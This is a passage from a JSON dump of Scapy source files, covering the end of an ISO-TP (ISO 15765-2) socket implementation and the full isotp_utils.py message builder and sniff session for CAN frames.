identifier of the sent CAN frames\n    :param rx_id: the CAN identifier of the received CAN frames\n    :param padding: If True, pads sending packets with 0x00 which not\n                    count to the payload.\n                    Does not affect receiving packets.\n    :param ext_address: Extended Address byte to be added at the\n            beginning of every CAN frame _sent_ by this object. Can be None\n            in order to disable extended addressing on sent frames.\n    :param rx_ext_address: Extended Address byte expected to be found at\n            the beginning of every CAN frame _received_ by this object. Can\n            be None in order to disable extended addressing on received\n            frames.\n    :param bs: Block Size byte to be included in every Control\n            Flow Frame sent by this object. The default value of 0 means\n            that all the data will be received in a single block.\n    :param stmin: Time Minimum Separation byte to be\n            included in every Control Flow Frame sent by this object. The\n            default value of 0 indicates that the peer will not wait any\n            time between sending frames.\n    :param listen_only: Disables send of flow control frames\n    \"\"\"\n\n    def __init__(self,\n                 can_socket,  # type: \"CANSocket\"\n                 tx_id,  # type: int\n                 rx_id,  # type: int\n                 padding=False,  # type: bool\n                 ext_address=None,  # type: Optional[int]\n                 rx_ext_address=None,  # type: Optional[int]\n                 bs=0,  # type: int\n                 stmin=0,  # type: int\n                 listen_only=False,  # type: bool\n                 fd=False  # type: bool\n                 ):\n        # type: (...) -> None\n        self.can_socket = can_socket\n        self.rx_id = rx_id\n        self.tx_id = tx_id\n        self.padding = padding\n        self.fc_timeout = 1\n        self.cf_timeout = 1\n\n        self.fd = fd\n\n        self.max_dlen = CAN_FD_MAX_DLEN if fd else CAN_MAX_DLEN\n\n        self.filter_warning_emitted = False\n        self.closed = False\n\n        self.rx_ext_address = rx_ext_address\n        self.ea_hdr = b\"\"\n        if ext_address is not None:\n            self.ea_hdr = struct.pack(\"B\", ext_address)\n        self.listen_only = listen_only\n\n        self.rxfc_bs = bs\n        self.rxfc_stmin = stmin\n\n        self.rx_queue = ObjectPipe[Tuple[bytes, Union[float, EDecimal]]]()\n        self.rx_len = -1\n        self.rx_buf = None  # type: Optional[bytes]\n        self.rx_sn = 0\n        self.rx_bs = 0\n        self.rx_idx = 0\n        self.rx_ts = 0.0  # type: Union[float, EDecimal]\n        self.rx_state = ISOTP_IDLE\n\n        self.tx_queue = ObjectPipe[bytes]()\n        self.txfc_bs = 0\n        self.txfc_stmin = 0\n        self.tx_gap = 0.\n\n        self.tx_buf = None  # type: Optional[bytes]\n        self.tx_sn = 0\n        self.tx_bs = 0\n        self.tx_idx = 0\n        self.rx_ll_dl = 0\n        self.tx_state = ISOTP_IDLE\n\n        self.rx_tx_poll_rate = 0.005\n        self.tx_timeout_handle = None  # type: Optional[TimeoutScheduler.Handle]  # noqa: E501\n        self.rx_timeout_handle = None  # type: Optional[TimeoutScheduler.Handle]  # noqa: E501\n        self.rx_handle = TimeoutScheduler.schedule(\n            self.rx_tx_poll_rate, self.can_recv)\n        self.tx_handle = TimeoutScheduler.schedule(\n            self.rx_tx_poll_rate, self._send)\n        self.last_rx_call = 0.0\n        self.rx_start_time = 0.0\n\n    def failure_analysis(self):\n        # type: () -> None\n        log_isotp.debug(\"Failure analysis\")\n        log_isotp.debug(\"Last_rx_call: %s\", str(self.last_rx_call))\n        log_isotp.debug(\"self.rx_handle: %s\", str(self.rx_handle))\n        log_isotp.debug(\"self.rx_handle._cb: %s\", str(self.rx_handle._cb))\n        log_isotp.debug(\"self.rx_handle._when: %s\", str(self.rx_handle._when))\n        log_isotp.debug(\"Now: %s\", TimeoutScheduler._time())\n\n    def __del__(self):\n        # type: () -> None\n        self.close()\n\n    def can_send(self, load):\n        # type: (bytes) -> None\n        def _get_padding_size(pl_size):\n            # type: (int) -> int\n            if not self.fd:\n                return CAN_MAX_DLEN\n            else:\n                fd_accepted_sizes = [0, 8, 12, 16, 20, 24, 32, 48, 64]\n                pos = bisect_left(fd_accepted_sizes, pl_size)\n                if pos == 0:\n                    return fd_accepted_sizes[0]\n                if pos == len(fd_accepted_sizes):\n                    return fd_accepted_sizes[-1]\n                return fd_accepted_sizes[pos]\n\n        pkt_cls = CANFD if self.fd else CAN\n\n        if self.padding:\n            load += b\"\\xCC\" * (_get_padding_size(len(load)) - len(load))\n        if self.tx_id is None or self.tx_id <= 0x7ff:\n            self.can_socket.send(pkt_cls(identifier=self.tx_id, data=load))\n        else:\n            self.can_socket.send(pkt_cls(identifier=self.tx_id, flags=\"extended\",\n                                         data=load))\n\n    def can_recv(self):\n        # type: () -> None\n        self.last_rx_call = TimeoutScheduler._time()\n        try:\n            while self.can_socket.select([self.can_socket], 0):\n                pkt = self.can_socket.recv()\n                if pkt:\n                    self.on_can_recv(pkt)\n                else:\n                    break\n        except Exception:\n            if not self.closed:\n                log_isotp.warning(\"Error in can_recv: %s\",\n                                  traceback.format_exc())\n        if not self.closed and not self.can_socket.closed:\n            # Determine poll_time from ISOTP state only.\n            # Avoid calling select() here — on slow serial interfaces\n            # (slcan), each select() triggers a mux() call that reads\n            # N frames at ~2.5ms each, wasting time that could be spent\n            # processing frames already in the rx_queue.\n            if self.rx_state == ISOTP_WAIT_DATA or \\\n                    self.tx_state == ISOTP_WAIT_FC or \\\n                    self.tx_state == ISOTP_WAIT_FIRST_FC:\n                poll_time = 0.0\n            else:\n                poll_time = self.rx_tx_poll_rate\n            self.rx_handle = TimeoutScheduler.schedule(\n                poll_time, self.can_recv)\n        else:\n            try:\n                self.rx_handle.cancel()\n            except Scapy_Exception:\n                pass\n\n    def on_can_recv(self, p):\n        # type: (Packet) -> None\n        if p.identifier != self.rx_id:\n            if not self.filter_warning_emitted and conf.verb >= 2:\n                log_isotp.warning(\"You should put a filter for identifier=%x on your \"\n                                  \"CAN socket\", self.rx_id)\n                self.filter_warning_emitted = True\n        else:\n            self.on_recv(p)\n\n    def close(self):\n        # type: () -> None\n        try:\n            if select_objects([self.tx_queue], 0):\n                log_isotp.warning(\"TX queue not empty\")\n                time.sleep(0.1)\n        except OSError:\n            pass\n\n        try:\n            if select_objects([self.rx_queue], 0):\n                log_isotp.warning(\"RX queue not empty\")\n        except OSError:\n            pass\n\n        self.closed = True\n        try:\n            self.rx_handle.cancel()\n        except Scapy_Exception:\n            pass\n        try:\n            self.tx_handle.cancel()\n        except Scapy_Exception:\n            pass\n        if self.rx_timeout_handle is not None:\n            try:\n                self.rx_timeout_handle.cancel()\n            except Scapy_Exception:\n                pass\n        if self.tx_timeout_handle is not None:\n            try:\n                self.tx_timeout_handle.cancel()\n            except Scapy_Exception:\n                pass\n        try:\n            self.rx_queue.close()\n        except (OSError, EOFError):\n            pass\n        try:\n            self.tx_queue.close()\n        except (OSError, EOFError):\n            pass\n\n    def _rx_timer_handler(self):\n        # type: () -> None\n        \"\"\"Method called every time the rx_timer times out, due to the peer not\n        sending a consecutive frame within the expected time window\"\"\"\n\n        if self.closed:\n            return\n\n        if self.rx_state == ISOTP_WAIT_DATA:\n            # On slow serial interfaces (slcan), the mux reads frames\n            # from an OS serial buffer that may contain hundreds of\n            # background CAN frames.  Consecutive Frames from the ECU\n            # are queued behind this backlog and can take several\n            # seconds to reach the ISOTP state machine.  Extend the\n            # timeout up to 10 × cf_timeout to give the mux enough\n            # time to drain the backlog.\n            total_wait = TimeoutScheduler._time() - self.rx_start_time\n            if total_wait < self.cf_timeout * 10:\n                self.rx_timeout_handle = TimeoutScheduler.schedule(\n                    self.cf_timeout, self._rx_timer_handler)\n                return\n            # we did not get new data frames in time.\n            # reset rx state\n            self.rx_state = ISOTP_IDLE\n            if conf.verb > 2:\n                log_isotp.warning(\"RX state was reset due to timeout\")\n\n    def _tx_timer_handler(self):\n        # type: () -> None\n        \"\"\"Method called every time the tx_timer times out, which can happen in\n        two situations: either a Flow Control frame was not received in time,\n        or the Separation Time Min is expired and a new frame must be sent.\"\"\"\n\n        if self.closed:\n            return\n\n        if (self.tx_state == ISOTP_WAIT_FC or\n                self.tx_state == ISOTP_WAIT_FIRST_FC):\n            # we did not get any flow control frame in time\n            # reset tx state\n            self.tx_state = ISOTP_IDLE\n            log_isotp.warning(\"TX state was reset due to timeout\")\n            return\n        elif self.tx_state == ISOTP_SENDING:\n            # push out the next segmented pdu\n            src_off = len(self.ea_hdr)\n            max_bytes = (self.max_dlen - 1) - src_off\n            if self.tx_buf is None:\n                self.tx_state = ISOTP_IDLE\n                log_isotp.warning(\"TX buffer is not filled\")\n                return\n            while 1:\n                load = self.ea_hdr\n                load += struct.pack(\"B\", N_PCI_CF + self.tx_sn)\n                load += self.tx_buf[self.tx_idx:self.tx_idx + max_bytes]\n                self.can_send(load)\n\n                self.tx_sn = (self.tx_sn + 1) % 16\n                self.tx_bs += 1\n                self.tx_idx += max_bytes\n\n                if len(self.tx_buf) <= self.tx_idx:\n                    # we are done\n                    self.tx_state = ISOTP_IDLE\n                    return\n\n                if self.txfc_bs != 0 and self.tx_bs >= self.txfc_bs:\n                    # stop and wait for FC\n                    self.tx_state = ISOTP_WAIT_FC\n                    self.tx_timeout_handle = TimeoutScheduler.schedule(\n                        self.fc_timeout, self._tx_timer_handler)\n                    return\n\n                if self.tx_gap == 0:\n                    continue\n                else:\n                    # stop and wait for tx gap\n                    self.tx_timeout_handle = TimeoutScheduler.schedule(\n                        self.tx_gap, self._tx_timer_handler)\n                    return\n\n    def on_recv(self, cf):\n        # type: (Packet) -> None\n        \"\"\"Function that must be called every time a CAN frame is received, to\n        advance the state machine.\"\"\"\n\n        data = bytes(cf.data)\n\n        if len(data) < 2:\n            return\n\n        ae = 0\n        if self.rx_ext_address is not None:\n            ae = 1\n            if len(data) < 3:\n                return\n            if data[0] != self.rx_ext_address:\n                return\n\n        n_pci = data[ae] & 0xf0\n\n        if n_pci == N_PCI_FC:\n            self._recv_fc(data[ae:])\n        elif n_pci == N_PCI_SF:\n            self._recv_sf(data[ae:], cf.time)\n        elif n_pci == N_PCI_FF:\n            self._recv_ff(data[ae:], cf.time)\n        elif n_pci == N_PCI_CF:\n            self._recv_cf(data[ae:])\n\n    def _recv_fc(self, data):\n        # type: (bytes) -> None\n        \"\"\"Process a received 'Flow Control' frame\"\"\"\n        log_isotp.debug(\"Processing FC\")\n\n        if (self.tx_state != ISOTP_WAIT_FC and\n                self.tx_state != ISOTP_WAIT_FIRST_FC):\n            return\n\n        if self.tx_timeout_handle is not None:\n            self.tx_timeout_handle.cancel()\n            self.tx_timeout_handle = None\n\n        if len(data) < 3:\n            self.tx_state = ISOTP_IDLE\n            log_isotp.warning(\"CF frame discarded because it was too short\")\n            return\n\n        # get communication parameters only from the first FC frame\n        if self.tx_state == ISOTP_WAIT_FIRST_FC:\n            self.txfc_bs = data[1]\n            self.txfc_stmin = data[2]\n\n        if ((self.txfc_stmin > 0x7F) and\n                ((self.txfc_stmin < 0xF1) or (self.txfc_stmin > 0xF9))):\n            self.txfc_stmin = 0x7F\n\n        if data[2] <= 127:\n            self.tx_gap = data[2] / 1000\n        elif 0xf1 <= data[2] <= 0xf9:\n            self.tx_gap = (data[2] & 0x0f) / 10000\n        else:\n            self.tx_gap = 0.\n\n        self.tx_state = ISOTP_WAIT_FC\n\n        isotp_fc = data[0] & 0x0f\n\n        if isotp_fc == ISOTP_FC_CTS:\n            self.tx_bs = 0\n            self.tx_state = ISOTP_SENDING\n            # start cyclic timer for sending CF frame\n            self.tx_timeout_handle = TimeoutScheduler.schedule(\n                self.tx_gap, self._tx_timer_handler)\n        elif isotp_fc == ISOTP_FC_WT:\n            # start timer to wait for next FC frame\n            self.tx_state = ISOTP_WAIT_FC\n            self.tx_timeout_handle = TimeoutScheduler.schedule(\n                self.fc_timeout, self._tx_timer_handler)\n        elif isotp_fc == ISOTP_FC_OVFLW:\n            # overflow in receiver side\n            self.tx_state = ISOTP_IDLE\n            log_isotp.warning(\"Overflow happened at the receiver side\")\n            return\n        else:\n            self.tx_state = ISOTP_IDLE\n            log_isotp.warning(\"Unknown FC frame type\")\n            return\n\n    def _recv_sf(self, data, ts):\n        # type: (bytes, Union[float, EDecimal]) -> None\n        \"\"\"Process a received 'Single Frame' frame\"\"\"\n        log_isotp.debug(\"Processing SF\")\n\n        if self.rx_timeout_handle is not None:\n            self.rx_timeout_handle.cancel()\n            self.rx_timeout_handle = None\n\n        if self.rx_state != ISOTP_IDLE:\n            if conf.verb > 2:\n                log_isotp.warning(\"RX state was reset because \"\n                                  \"single frame was received\")\n            self.rx_state = ISOTP_IDLE\n\n        length = data[0] & 0xf\n        is_fd_frame = self.fd and length == 0 and len(data) >= 2\n\n        if is_fd_frame:\n            length = data[1]\n\n        if len(data) - 1 < length:\n            return\n\n        msg = None\n        if is_fd_frame:\n            msg = data[2:2 + length]\n        else:\n            msg = data[1:1 + length]\n        self.rx_queue.send((msg, ts))\n\n    def _recv_ff(self, data, ts):\n        # type: (bytes, Union[float, EDecimal]) -> None\n        \"\"\"Process a received 'First Frame' frame\"\"\"\n        log_isotp.debug(\"Processing FF\")\n\n        if self.rx_timeout_handle is not None:\n            self.rx_timeout_handle.cancel()\n            self.rx_timeout_handle = None\n\n        if self.rx_state != ISOTP_IDLE:\n            if conf.verb > 2:\n                log_isotp.warning(\"RX state was reset because first frame was received\")\n            self.rx_state = ISOTP_IDLE\n\n        if len(data) < 7:\n            return\n        self.rx_ll_dl = len(data)\n\n        # get the FF_DL\n        self.rx_len = (data[0] & 0x0f) * 256 + data[1]\n        ff_pci_sz = 2\n\n        # Check for FF_DL escape sequence supporting 32 bit PDU length\n        if self.rx_len == 0:\n            # FF_DL = 0 => get real length from next 4 bytes\n            self.rx_len = data[2] << 24\n            self.rx_len += data[3] << 16\n            self.rx_len += data[4] << 8\n            self.rx_len += data[5]\n            ff_pci_sz = 6\n\n        # copy the first received data bytes\n        data_bytes = data[ff_pci_sz:]\n        self.rx_idx = len(data_bytes)\n        self.rx_buf = data_bytes\n        self.rx_ts = ts\n\n        # initial setup for this pdu reception\n        self.rx_sn = 1\n        self.rx_state = ISOTP_WAIT_DATA\n        self.rx_start_time = TimeoutScheduler._time()\n\n        # no creation of flow control frames\n        if not self.listen_only:\n            # send our first FC frame\n            load = self.ea_hdr\n            load += struct.pack(\"BBB\", N_PCI_FC, self.rxfc_bs, self.rxfc_stmin)\n            self.can_send(load)\n\n        # wait for a CF\n        self.rx_bs = 0\n        self.rx_timeout_handle = TimeoutScheduler.schedule(\n            self.cf_timeout, self._rx_timer_handler)\n\n    def _recv_cf(self, data):\n        # type: (bytes) -> None\n        \"\"\"Process a received 'Consecutive Frame' frame\"\"\"\n        log_isotp.debug(\"Processing CF\")\n\n        if self.rx_state != ISOTP_WAIT_DATA:\n            return\n\n        if self.rx_timeout_handle is not None:\n            self.rx_timeout_handle.cancel()\n            self.rx_timeout_handle = None\n\n        # CFs are never longer than the FF\n        if len(data) > self.rx_ll_dl:\n            return\n\n        # CFs have usually the LL_DL length\n        if len(data) < self.rx_ll_dl:\n            # this is only allowed for the last CF\n            if self.rx_len - self.rx_idx > self.rx_ll_dl:\n                if conf.verb > 2:\n                    log_isotp.warning(\"Received a CF with insufficient length\")\n                return\n\n        if data[0] & 0x0f != self.rx_sn:\n            # Wrong sequence number\n            if conf.verb > 2:\n                log_isotp.warning(\"RX state was reset because wrong sequence \"\n                                  \"number was received\")\n            self.rx_state = ISOTP_IDLE\n            return\n\n        if self.rx_buf is None:\n            if conf.verb > 2:\n                log_isotp.warning(\"rx_buf not filled with data!\")\n            self.rx_state = ISOTP_IDLE\n            return\n\n        self.rx_sn = (self.rx_sn + 1) % 16\n        self.rx_buf += data[1:]\n        self.rx_idx = len(self.rx_buf)\n\n        if self.rx_idx >= self.rx_len:\n            # we are done\n            self.rx_buf = self.rx_buf[0:self.rx_len]\n            self.rx_state = ISOTP_IDLE\n            self.rx_queue.send((self.rx_buf, self.rx_ts))\n            self.rx_buf = None\n            return\n\n        # perform blocksize handling, if enabled\n        if self.rxfc_bs != 0:\n            self.rx_bs += 1\n\n            # check if we reached the end of the block\n            if self.rx_bs >= self.rxfc_bs and not self.listen_only:\n                # send our FC frame\n                load = self.ea_hdr\n                load += struct.pack(\"BBB\", N_PCI_FC, self.rxfc_bs,\n                                    self.rxfc_stmin)\n                self.rx_bs = 0\n                self.can_send(load)\n\n        # wait for another CF\n        log_isotp.debug(\"Wait for another CF\")\n        self.rx_timeout_handle = TimeoutScheduler.schedule(\n            self.cf_timeout, self._rx_timer_handler)\n\n    def begin_send(self, x):\n        # type: (bytes) -> None\n        \"\"\"Begins sending an ISOTP message. This method does not block.\"\"\"\n        if self.tx_state != ISOTP_IDLE:\n            log_isotp.warning(\"Socket is already sending, retry later\")\n            return\n\n        self.tx_state = ISOTP_SENDING\n        length = len(x)\n        if length > ISOTP_MAX_DLEN_2015:\n            log_isotp.warning(\"Too much data for ISOTP message\")\n\n        sf_size_check = self.max_dlen - 1\n\n        if len(self.ea_hdr) + length + int(self.fd) <= sf_size_check:\n            # send a single frame\n            data = self.ea_hdr\n            if not self.fd or length <= 7:\n                data += struct.pack(\"B\", length)\n            else:\n                data += struct.pack(\"BB\", 0, length)\n            data += x\n            self.tx_state = ISOTP_IDLE\n            self.can_send(data)\n            return\n\n        # send the first frame\n        data = self.ea_hdr\n        if length > ISOTP_MAX_DLEN:\n            data += struct.pack(\">HI\", 0x1000, length)\n        else:\n            data += struct.pack(\">H\", 0x1000 | length)\n        load = x[0:self.max_dlen - len(data)]\n        data += load\n        self.can_send(data)\n\n        self.tx_buf = x\n        self.tx_sn = 1\n        self.tx_bs = 0\n        self.tx_idx = len(load)\n\n        self.tx_state = ISOTP_WAIT_FIRST_FC\n        self.tx_timeout_handle = TimeoutScheduler.schedule(\n            self.fc_timeout, self._tx_timer_handler)\n\n    def _send(self):\n        # type: () -> None\n        try:\n            if self.tx_state == ISOTP_IDLE:\n                if select_objects([self.tx_queue], 0):\n                    pkt = self.tx_queue.recv()\n                    if pkt:\n                        self.begin_send(pkt)\n        except Exception:\n            if not self.closed:\n                log_isotp.warning(\"Error in _send: %s\",\n                                  traceback.format_exc())\n\n        if not self.closed:\n            self.tx_handle = TimeoutScheduler.schedule(\n                self.rx_tx_poll_rate, self._send)\n        else:\n            try:\n                self.tx_handle.cancel()\n            except Scapy_Exception:\n                pass\n\n    def send(self, p):\n        # type: (bytes) -> None\n        \"\"\"Send an ISOTP frame and block until the message is sent or an error\n        happens.\"\"\"\n        self.tx_queue.send(p)\n\n    def recv(self, timeout=None):\n        # type: (Optional[int]) -> Optional[Tuple[bytes, Union[float, EDecimal]]]  # noqa: E501\n        \"\"\"Receive an ISOTP frame, blocking if none is available in the buffer.\"\"\"\n        return self.rx_queue.recv()\n"
  },
  {
    "path": "scapy/contrib/isotp/isotp_utils.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n# Copyright (C) Enrico Pozzobon <enricopozzobon@gmail.com>\n# Copyright (C) Alexander Schroeder <alexander1.schroeder@st.othr.de>\n\n# scapy.contrib.description = ISO-TP (ISO 15765-2) Utilities\n# scapy.contrib.status = library\n\nimport struct\n\nfrom scapy.config import conf\nfrom scapy.utils import EDecimal\nfrom scapy.packet import Packet\nfrom scapy.sessions import DefaultSession\nfrom scapy.supersocket import SuperSocket\nfrom scapy.contrib.isotp.isotp_packet import ISOTP, N_PCI_CF, N_PCI_SF, \\\n    N_PCI_FF, N_PCI_FC\n\n# Typing imports\nfrom typing import (\n    cast,\n    Iterable,\n    Iterator,\n    Optional,\n    Union,\n    List,\n    Tuple,\n    Dict,\n    Any,\n    Type,\n)\n\n\nclass ISOTPMessageBuilderIter(object):\n    \"\"\"\n    Iterator class for ISOTPMessageBuilder\n    \"\"\"\n    slots = [\"builder\"]\n\n    def __init__(self, builder):\n        # type: (ISOTPMessageBuilder) -> None\n        self.builder = builder\n\n    def __iter__(self):\n        # type: () -> ISOTPMessageBuilderIter\n        return self\n\n    def __next__(self):\n        # type: () -> ISOTP\n        while self.builder.count:\n            p = self.builder.pop()\n            if p is None:\n                break\n            else:\n                return p\n        raise StopIteration\n\n    next = __next__\n\n\nclass ISOTPMessageBuilder(object):\n    \"\"\"\n    Initialize a ISOTPMessageBuilder object\n\n    Utility class to build ISOTP messages out of CAN frames, used by both\n    ISOTP.defragment() and ISOTPSession.\n\n    This class attempts to interpret some CAN frames as ISOTP frames, both with\n    and without extended addressing at the same time. For example, if an\n    extended address of 07 is being used, all frames will also be interpreted\n    as ISOTP single-frame messages.\n\n    CAN frames are fed to an ISOTPMessageBuilder object with the feed() method\n    and the resulting ISOTP frames can be extracted using the pop() method.\n\n    :param use_ext_address: True for only attempting to defragment with\n                         extended addressing, False for only attempting\n                         to defragment without extended addressing,\n                         or None for both\n    :param rx_id: Destination Identifier\n    :param basecls: The class of packets that will be returned,\n                    defaults to ISOTP\n    \"\"\"\n\n    class Bucket(object):\n        \"\"\"\n        Helper class to store not finished ISOTP messages while building.\n        \"\"\"\n\n        def __init__(self, total_len, first_piece, ts):\n            # type: (int, bytes, Union[EDecimal, float]) -> None\n            self.pieces = list()  # type: List[bytes]\n            self.total_len = total_len\n            self.current_len = 0\n            self.ready = None  # type: Optional[bytes]\n            self.tx_id = None  # type: Optional[int]\n            self.ext_address = None  # type: Optional[int]\n            self.time = ts  # type: Union[float, EDecimal]\n            self.push(first_piece)\n\n        def push(self, piece):\n            # type: (bytes) -> None\n            self.pieces.append(piece)\n            self.current_len += len(piece)\n            if self.current_len >= self.total_len:\n                isotp_data = b\"\".join(self.pieces)\n                self.ready = isotp_data[:self.total_len]\n\n    def __init__(\n            self,\n            use_ext_address=None,  # type: Optional[bool]\n            rx_id=None,  # type: Optional[Union[int, List[int], Iterable[int]]]\n            basecls=ISOTP  # type: Type[ISOTP]\n    ):\n        # type: (...) -> None\n        self.ready = []  # type: List[Tuple[int, Optional[int], ISOTPMessageBuilder.Bucket]]  # noqa: E501\n        self.buckets = {}  # type: Dict[Tuple[Optional[int], int, int], ISOTPMessageBuilder.Bucket]  # noqa: E501\n        self.use_ext_addr = use_ext_address\n        self.basecls = basecls\n        self.rx_ids = None  # type: Optional[Iterable[int]]\n        self.last_ff = None  # type: Optional[Tuple[Optional[int], int, int]]\n        self.last_ff_ex = None  # type: Optional[Tuple[Optional[int], int, int]]  # noqa: E501\n        if rx_id is not None:\n            if isinstance(rx_id, list):\n                self.rx_ids = rx_id\n            elif isinstance(rx_id, int):\n                self.rx_ids = [rx_id]\n            elif hasattr(rx_id, \"__iter__\"):\n                self.rx_ids = rx_id\n            else:\n                raise TypeError(\"Invalid type for argument rx_id!\")\n\n    def feed(self, can):\n        # type: (Union[Iterable[Packet], Packet]) -> None\n        \"\"\"Attempt to feed an incoming CAN frame into the state machine\"\"\"\n        if not isinstance(can, Packet) and hasattr(can, \"__iter__\"):\n            for p in can:\n                self.feed(p)\n            return\n\n        if not isinstance(can, Packet):\n            return\n\n        if self.rx_ids is not None and can.identifier not in self.rx_ids:\n            return\n\n        data = bytes(can.data)\n\n        if len(data) > 1 and self.use_ext_addr is not True:\n            self._try_feed(can.identifier, None, data, can.time)\n        if len(data) > 2 and self.use_ext_addr is not False:\n            ea = data[0]\n            self._try_feed(can.identifier, ea, data[1:], can.time)\n\n    @property\n    def count(self):\n        # type: () -> int\n        \"\"\"Returns the number of ready ISOTP messages built from the provided\n        can frames\n\n        :return: Number of ready ISOTP messages\n        \"\"\"\n        return len(self.ready)\n\n    def __len__(self):\n        # type: () -> int\n        return self.count\n\n    def pop(self, identifier=None, ext_addr=None):\n        # type: (Optional[int], Optional[int]) -> Optional[ISOTP]\n        \"\"\"Returns a built ISOTP message\n\n        :param identifier: if not None, only return isotp messages with this\n                           destination\n        :param ext_addr: if identifier is not None, only return isotp messages\n                         with this extended address for destination\n        :returns: an ISOTP packet, or None if no message is ready\n        \"\"\"\n\n        if identifier is not None:\n            for i in range(len(self.ready)):\n                b = self.ready[i]\n                iden = b[0]\n                ea = b[1]\n                if iden == identifier and ext_addr == ea:\n                    return ISOTPMessageBuilder._build(self.ready.pop(i),\n                                                      self.basecls)\n            return None\n\n        if len(self.ready) > 0:\n            return ISOTPMessageBuilder._build(self.ready.pop(0), self.basecls)\n        return None\n\n    def __iter__(self):\n        # type: () -> ISOTPMessageBuilderIter\n        return ISOTPMessageBuilderIter(self)\n\n    @staticmethod\n    def _build(\n            t,  # type: Tuple[int, Optional[int], ISOTPMessageBuilder.Bucket]\n            basecls=ISOTP  # type: Type[ISOTP]\n    ):\n        # type: (...) -> ISOTP\n        bucket = t[2]\n        data = bucket.ready or b\"\"\n        try:\n            p = basecls(data)\n        except Exception:\n            if conf.debug_dissector:\n                from scapy.sendrecv import debug\n                debug.crashed_on = (basecls, data)\n            raise\n        if hasattr(p, \"rx_id\"):\n            p.rx_id = t[0]\n        if hasattr(p, \"rx_ext_address\"):\n            p.rx_ext_address = t[1]\n        if hasattr(p, \"tx_id\"):\n            p.tx_id = bucket.tx_id\n        if hasattr(p, \"ext_address\"):\n            p.ext_address = bucket.ext_address\n        if hasattr(p, \"time\"):\n            p.time = bucket.time\n        return p\n\n    def _feed_first_frame(self, identifier, ea, data, ts):\n        # type: (int, Optional[int], bytes, Union[EDecimal, float]) -> bool\n        if len(data) < 3:\n            # At least 3 bytes are necessary: 2 for length and 1 for data\n            return False\n\n        header = struct.unpack('>H', bytes(data[:2]))[0]\n        expected_length = header & 0x0fff\n        isotp_data = data[2:]\n        if expected_length == 0 and len(data) >= 6:\n            expected_length = struct.unpack('>I', bytes(data[2:6]))[0]\n            isotp_data = data[6:]\n\n        key = (ea, identifier, 1)\n        if ea is None:\n            self.last_ff = key\n        else:\n            self.last_ff_ex = key\n        self.buckets[key] = self.Bucket(expected_length, isotp_data, ts)\n        return True\n\n    def _feed_single_frame(self, identifier, ea, data, ts):\n        # type: (int, Optional[int], bytes, Union[EDecimal, float]) -> bool\n        if len(data) < 2:\n            # At least 2 bytes are necessary: 1 for length and 1 for data\n            return False\n\n        length = data[0] & 0x0f\n        isotp_data = data[1:length + 1]\n\n        if length > len(isotp_data):\n            # CAN frame has less data than expected\n            return False\n\n        self.ready.append((identifier, ea,\n                           self.Bucket(length, isotp_data, ts)))\n        return True\n\n    def _feed_consecutive_frame(self, identifier, ea, data):\n        # type: (int, Optional[int], bytes) -> bool\n        if len(data) < 2:\n            # At least 2 bytes are necessary: 1 for sequence number and\n            # 1 for data\n            return False\n\n        first_byte = data[0]\n        seq_no = first_byte & 0x0f\n        isotp_data = data[1:]\n\n        key = (ea, identifier, seq_no)\n        bucket = self.buckets.pop(key, None)\n\n        if bucket is None:\n            # There is no message constructor waiting for this frame\n            return False\n\n        bucket.push(isotp_data)\n        if bucket.ready is None:\n            # full ISOTP message is not ready yet, put it back in\n            # buckets list\n            next_seq = (seq_no + 1) % 16\n            key = (ea, identifier, next_seq)\n            self.buckets[key] = bucket\n        else:\n            self.ready.append((identifier, ea, bucket))\n\n        return True\n\n    def _feed_flow_control_frame(self, identifier, ea, data):\n        # type: (int, Optional[int], bytes) -> bool\n        if len(data) < 3:\n            # At least 2 bytes are necessary: 1 for sequence number and\n            # 1 for data\n            return False\n\n        keys = [x for x in (self.last_ff, self.last_ff_ex) if x is not None]\n        buckets = [self.buckets.pop(k, None) for k in keys]\n\n        self.last_ff = None\n        self.last_ff_ex = None\n\n        if not any(buckets) or not any(keys):\n            # There is no message constructor waiting for this frame\n            return False\n\n        for key, bucket in zip(keys, buckets):\n            if bucket is None:\n                continue\n            bucket.tx_id = identifier\n            bucket.ext_address = ea\n            self.buckets[key] = bucket\n        return True\n\n    def _try_feed(self, identifier, ea, data, ts):\n        # type: (int, Optional[int], bytes, Union[EDecimal, float]) -> None\n        first_byte = data[0]\n        if len(data) > 1 and first_byte & 0xf0 == N_PCI_SF:\n            self._feed_single_frame(identifier, ea, data, ts)\n        if len(data) > 2 and first_byte & 0xf0 == N_PCI_FF:\n            self._feed_first_frame(identifier, ea, data, ts)\n        if len(data) > 1 and first_byte & 0xf0 == N_PCI_CF:\n            self._feed_consecutive_frame(identifier, ea, data)\n        if len(data) > 1 and first_byte & 0xf0 == N_PCI_FC:\n            self._feed_flow_control_frame(identifier, ea, data)\n\n\nclass ISOTPSession(DefaultSession):\n    \"\"\"Defragment ISOTP packets 'on-the-flow'.\n\n    Usage:\n        >>> sniff(session=ISOTPSession)\n    \"\"\"\n\n    def __init__(self, *args, **kwargs):\n        # type: (Any, Any) -> None\n        self.m = ISOTPMessageBuilder(\n            use_ext_address=kwargs.pop(\"use_ext_address\", None),\n            rx_id=kwargs.pop(\"rx_id\", None),\n            basecls=kwargs.pop(\"basecls\", ISOTP))\n        super(ISOTPSession, self).__init__(*args, **kwargs)\n\n    def recv(self, sock: SuperSocket) -> Iterator[Packet]:\n        \"\"\"\n        Will be called by sniff() to ask for a packet\n        \"\"\"\n        pkt = sock.recv()\n        if not pkt:\n            return\n        self.m.feed(pkt)\n        while len(self.m) > 0:\n            rcvd = cast(Optional[Packet], self.m.pop())\n            if rcvd:\n                rcvd = self.process(rcvd)\n            if rcvd:\n                yield rcvd\n"
  },
  {
    "path": "scapy/contrib/knx.py",
